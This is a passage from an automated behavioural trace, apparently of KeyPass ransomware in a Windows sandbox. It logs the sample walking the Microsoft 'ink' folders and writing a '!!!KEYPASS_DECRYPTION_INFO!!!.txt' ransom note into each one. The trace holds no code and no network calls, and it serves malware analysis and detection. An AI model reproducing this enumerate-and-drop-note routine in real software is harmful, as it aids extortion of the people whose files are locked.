Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned=".dll" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll") returned=".dll" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned=".dll" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned=".xml" [0239.639] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.639] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned=".xml" [0239.640] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.640] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned=".xml" [0239.640] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.640] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned=".xml" [0239.640] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.640] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned=".xml" [0239.640] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.640] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.640] GetLastError () returned 0x3f0 [0239.640] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.640] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480 [0239.644] GetFileType (hFile=0x480) returned 0x1 [0239.644] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.645] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.645] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.645] WriteFile (in: hFile=0x480, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.645] WriteFile (in: hFile=0x480, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.645] CloseHandle (hObject=0x480) returned 1 [0239.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06640 [0239.646] FindNextFileW (in: hFindFile=0xd06640, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.646] FindNextFileW (in: hFindFile=0xd06640, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.646] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.646] FindNextFileW (in: hFindFile=0xd06640, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.646] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned=".mui" [0239.646] FindNextFileW (in: hFindFile=0xd06640, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.646] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.646] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.646] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.646] GetLastError () returned 0x3f0 [0239.646] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.646] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0239.647] GetFileType (hFile=0x494) returned 0x1 [0239.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.647] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.647] WriteFile (in: hFile=0x494, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.647] WriteFile (in: hFile=0x494, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.648] CloseHandle (hObject=0x494) returned 1 [0239.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06880 [0239.648] FindNextFileW (in: hFindFile=0xd06880, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.648] FindNextFileW (in: hFindFile=0xd06880, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.648] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.648] FindNextFileW (in: hFindFile=0xd06880, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.648] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned=".mui" [0239.648] FindNextFileW (in: hFindFile=0xd06880, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.648] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.648] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\journal.dll") returned=".dll" [0239.648] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.648] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.648] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.648] GetLastError () returned 0x3f0 [0239.648] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.648] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0239.651] GetFileType (hFile=0x498) returned 0x1 [0239.651] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.651] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.651] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.651] WriteFile (in: hFile=0x498, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.651] WriteFile (in: hFile=0x498, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.652] CloseHandle (hObject=0x498) returned 1 [0239.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06340 [0239.652] FindNextFileW (in: hFindFile=0xd06340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.652] FindNextFileW (in: hFindFile=0xd06340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.652] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.652] FindNextFileW (in: hFindFile=0xd06340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.652] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned=".mui" [0239.652] FindNextFileW (in: hFindFile=0xd06340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.652] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.652] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.652] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.652] GetLastError () returned 0x3f0 [0239.652] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.652] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0239.653] GetFileType (hFile=0x49c) returned 0x1 [0239.653] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.653] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.653] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.653] WriteFile (in: hFile=0x49c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.654] WriteFile (in: hFile=0x49c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.654] CloseHandle (hObject=0x49c) returned 1 [0239.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd064c0 [0239.654] FindNextFileW (in: hFindFile=0xd064c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.654] FindNextFileW (in: hFindFile=0xd064c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.654] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.654] FindNextFileW (in: hFindFile=0xd064c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.654] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned=".dgml" [0239.654] FindNextFileW (in: hFindFile=0xd064c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.654] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.654] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.655] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.655] GetLastError () returned 0x3f0 [0239.655] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.655] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0239.656] GetFileType (hFile=0x4a4) returned 0x1 [0239.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.656] WriteFile (in: hFile=0x4a4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.657] WriteFile (in: hFile=0x4a4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.657] CloseHandle (hObject=0x4a4) returned 1 [0239.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd068c0 [0239.658] FindNextFileW (in: hFindFile=0xd068c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.658] FindNextFileW (in: hFindFile=0xd068c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.658] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.658] FindNextFileW (in: hFindFile=0xd068c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.658] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned=".mui" [0239.658] FindNextFileW (in: hFindFile=0xd068c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.658] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.658] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.658] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.658] GetLastError () returned 0x3f0 [0239.658] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.658] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0239.659] GetFileType (hFile=0x4a8) returned 0x1 [0239.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.659] WriteFile (in: hFile=0x4a8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.660] WriteFile (in: hFile=0x4a8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.660] CloseHandle (hObject=0x4a8) returned 1 [0239.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06380 [0239.660] FindNextFileW (in: hFindFile=0xd06380, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.660] FindNextFileW (in: hFindFile=0xd06380, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.660] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.661] FindNextFileW (in: hFindFile=0xd06380, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned=".mui" [0239.661] FindNextFileW (in: 